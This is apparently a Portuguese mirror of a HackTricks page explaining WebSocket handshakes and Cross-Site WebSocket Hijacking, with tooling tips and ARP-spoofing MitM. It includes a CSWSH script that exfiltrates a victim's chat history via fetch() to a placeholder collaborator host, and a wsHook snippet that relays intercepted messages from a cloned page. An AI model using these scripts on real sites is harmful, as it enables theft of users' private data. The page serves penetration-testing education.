mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
176 lines
13 KiB
Markdown
176 lines
13 KiB
Markdown
# Cross-site WebSocket hijacking (CSWSH)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## O que são WebSockets
|
|
|
|
As conexões WebSocket são iniciadas por meio do **HTTP** e geralmente são **de longa duração**. As mensagens podem ser enviadas em **ambas as direções a qualquer momento** e não são transacionais por natureza. A conexão normalmente permanecerá aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.\
|
|
Os WebSockets são particularmente úteis em situações em que são necessárias **mensagens de baixa latência ou iniciadas pelo servidor**, como feeds em tempo real de dados financeiros.
|
|
|
|
## Como as conexões WebSocket são estabelecidas?
|
|
|
|
(Aqui você encontrará um resumo, mas um **guia mais detalhado sobre como uma conexão de web socket** é criada pode ser encontrado [**aqui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
|
As conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente, como o seguinte:
|
|
```javascript
|
|
var ws = new WebSocket("wss://normal-website.com/chat");
|
|
```
|
|
O protocolo **`wss`** estabelece uma conexão WebSocket sobre uma conexão **TLS** criptografada, enquanto o protocolo **`ws`** usa uma conexão **não criptografada**.
|
|
|
|
Para estabelecer a conexão, o navegador e o servidor realizam um handshake WebSocket sobre HTTP. O navegador emite uma solicitação de handshake WebSocket como a seguinte:
|
|
```javascript
|
|
GET /chat HTTP/1.1
|
|
Host: normal-website.com
|
|
Sec-WebSocket-Version: 13
|
|
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
|
Connection: keep-alive, Upgrade
|
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
|
Upgrade: websocket
|
|
```
|
|
Se o servidor aceitar a conexão, ele retorna uma resposta de handshake do WebSocket como a seguinte:
|
|
```javascript
|
|
HTTP/1.1 101 Switching Protocols
|
|
Connection: Upgrade
|
|
Upgrade: websocket
|
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|
```
|
|
Neste ponto, a conexão de rede permanece aberta e pode ser usada para enviar mensagens WebSocket em ambas as direções.
|
|
|
|
**Observação**
|
|
|
|
Várias **características** das mensagens de **handshake** WebSocket são dignas de nota:
|
|
|
|
* Os cabeçalhos **`Connection`** e **`Upgrade`** na solicitação e resposta **indicam** que este é um **handshake WebSocket**.
|
|
* O cabeçalho de solicitação **`Sec-WebSocket-Version`** especifica a versão do protocolo WebSocket que o cliente deseja usar. Isso é tipicamente `13`.
|
|
* O cabeçalho de solicitação **`Sec-WebSocket-Key`** contém um **valor aleatório** codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake.
|
|
* O cabeçalho de resposta **`Sec-WebSocket-Accept`** contém um hash do valor enviado no cabeçalho de solicitação `Sec-WebSocket-Key`, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para evitar respostas enganosas resultantes de servidores mal configurados ou proxies de cache.
|
|
|
|
O cabeçalho **`Sec-WebSocket-Key`** contém um **valor aleatório** para evitar erros de proxies de cache e **não é usado para autenticação ou manipulação de sessão** (_Não é um token CSRF_).
|
|
|
|
### Console Linux
|
|
|
|
Você pode usar o `websocat` para estabelecer uma conexão bruta com um websocket.
|
|
```bash
|
|
websocat --insecure wss://10.10.10.10:8000 -v
|
|
```
|
|
Ou para criar um servidor websocat:
|
|
```bash
|
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|
```
|
|
## Conexões websocket MitM
|
|
|
|
Se você descobrir que os clientes estão conectados a um **websocket HTTP** da sua rede local atual, você pode tentar um [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar um ataque MitM entre o cliente e o servidor.\
|
|
Uma vez que o cliente esteja tentando se conectar a você, você pode usar:
|
|
```bash
|
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|
```
|
|
## Enumeração de Websockets
|
|
|
|
Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descobrir, identificar e procurar por** **vulnerabilidades** conhecidas em websockets automaticamente.
|
|
|
|
## Ferramentas de Depuração de Websocket
|
|
|
|
* O **Burp Suite** suporta a comunicação MitM de websockets de forma muito semelhante à comunicação HTTP regular.
|
|
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
|
* [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com um framework fácil de usar para **automatizar** essa comunicação. 
|
|
* [**https://websocketking.com/**](https://websocketking.com/) é um **site para se comunicar** com outros sites usando **websockets**.
|
|
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece um **site para se comunicar** com outros sites usando **websockets**.
|
|
|
|
## Laboratório de Websocket
|
|
|
|
No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar um site usando websockets e neste [**post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
|
|
|
## Hijacking de WebSocket entre sites (CSWSH)
|
|
|
|
Também conhecido como _hijacking de WebSocket entre origens cruzadas_.\
|
|
**É um** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **em um handshake de WebSocket**.
|
|
|
|
Isso ocorre quando a solicitação de **handshake de WebSocket** depende exclusivamente de **cookies HTTP** para o gerenciamento de sessão e não contém **tokens CSRF** ou outros valores imprevisíveis.\
|
|
Um atacante pode criar uma **página da web maliciosa** em seu próprio domínio que **estabelece uma conexão WebSocket entre sites** com a aplicação vulnerável. A aplicação tratará a conexão no **contexto da sessão do usuário vítima** com a aplicação.
|
|
|
|
### Ataque Simples
|
|
|
|
Observe que ao **estabelecer** uma conexão **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando-o para **relacionar** cada **usuário específico** com sua **sessão websocket com base no cookie enviado**.
|
|
|
|
Então, se, por **exemplo**, o **servidor websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" será capaz de **recuperar** o histórico da **conversa**.
|
|
```markup
|
|
<script>
|
|
websocket = new WebSocket('wss://your-websocket-URL')
|
|
websocket.onopen = start
|
|
websocket.onmessage = handleReply
|
|
function start(event) {
|
|
websocket.send("READY"); //Send the message to retreive confidential information
|
|
}
|
|
function handleReply(event) {
|
|
//Exfiltrate the confidential information to attackers server
|
|
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|
}
|
|
</script>
|
|
```
|
|
### Cross Origin + Cookie com um subdomínio diferente
|
|
|
|
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar código JavaScript arbitrário em um subdomínio** do domínio onde a comunicação do websocket estava ocorrendo. Por ser um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificava corretamente a Origem**, era possível se comunicar com ele e **roubar tokens dele**.
|
|
|
|
### Roubo de dados do usuário
|
|
|
|
Copie a aplicação web que você deseja se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:
|
|
```javascript
|
|
//This is the script tag to load the websocket hooker
|
|
<script src='wsHook.js'></script>
|
|
|
|
//These are the functions that are gonig to be executed before a message
|
|
//is sent by the client or received from the server
|
|
//These code must be between some <script> tags or inside a .js file
|
|
wsHook.before = function(data, url) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "client_msg?m="+data, true);
|
|
xhttp.send();
|
|
}
|
|
wsHook.after = function(messageEvent, url, wsObject) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
|
xhttp.send();
|
|
return messageEvent;
|
|
}
|
|
```
|
|
Agora faça o download do arquivo `wsHook.js` em [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salve-o dentro da pasta com os arquivos da web**.\
|
|
Expondo a aplicação web e fazendo com que um usuário se conecte a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:
|
|
```javascript
|
|
sudo python3 -m http.server 80
|
|
```
|
|
## Outras vulnerabilidades
|
|
|
|
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os Web Sockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket**.
|
|
|
|
## **WebSocket Smuggling**
|
|
|
|
Essa vulnerabilidade poderia permitir que você **burlasse as restrições de proxies reversos** fazendo com que eles acreditassem que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso poderia permitir que um atacante **acessasse endpoints ocultos**. Para mais informações, consulte a seguinte página:
|
|
|
|
{% content-ref url="h2c-smuggling.md" %}
|
|
[h2c-smuggling.md](h2c-smuggling.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referências
|
|
|
|
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|